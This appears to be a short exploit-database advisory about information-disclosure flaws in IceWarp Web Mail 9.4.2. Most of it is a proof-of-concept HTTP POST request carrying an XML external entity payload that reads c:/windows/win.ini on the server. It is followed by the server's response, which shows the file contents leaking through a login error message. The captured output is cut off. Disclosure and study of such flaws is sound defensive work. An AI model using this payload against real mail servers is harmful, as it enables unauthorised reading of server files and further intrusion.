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source: https://www.securityfocus.com/bid/49753/info IceWarp Web Mail is prone to multiple information-disclosure vulnerabilities. Attackers can exploit these issues to gain access to potentially sensitive information, and possibly cause denial-of-service conditions; other attacks may also be possible. Proof-of-Concept: The following POST request was sent to the host A.B.C.D where the IceWarp mail server was running: REQUEST ========= POST /-.._._.--.._1243848280/server/webmail.php HTTP/1.1 Host:A.B.C.D User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language:en-gb,en;q=0.5i've Accept-Encoding: gzip, deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Proxy-Connection: keep-alive Referer: http://A.B.C.D Content-Length: 249 Content-Type: application/xml; charset=UTF-8 Pragma: no-cache Cache-Control: no-cache <!DOCTYPE foo [<!ENTITY xxeb91c4 SYSTEM "file:///c:/windows/win.ini"> ]><iq type="set"><query xmlns="webmail:iq:auth"><username>test&xxeb91c4;</username><digest>828cd27c6fb73ee32674602e9c5521f005c614f5fb9266fd071dab323b5079e02d47a421c01df2efffcd2bdb221e15bf2baa4acefe38f264d92d152878ca4d33</digest><method>RSA</method></query></iq> RESPONSE: ========== HTTP/1.1 200 OK Server: IceWarp/9.4.2 Date: Wed, 20 Jul 2011 10:04:56 GMT Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control:no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Type: text/xml Vary: Accept-Encoding Content-Length: 1113 <?xml version="1.0" encoding="utf-8"?><iq type="error"><error uid="login_invalid">test; for 16-bit app support [fonts] [extensions] [mci extensions] [files] [Mail] MAPI=1 ....TRUNCATED |
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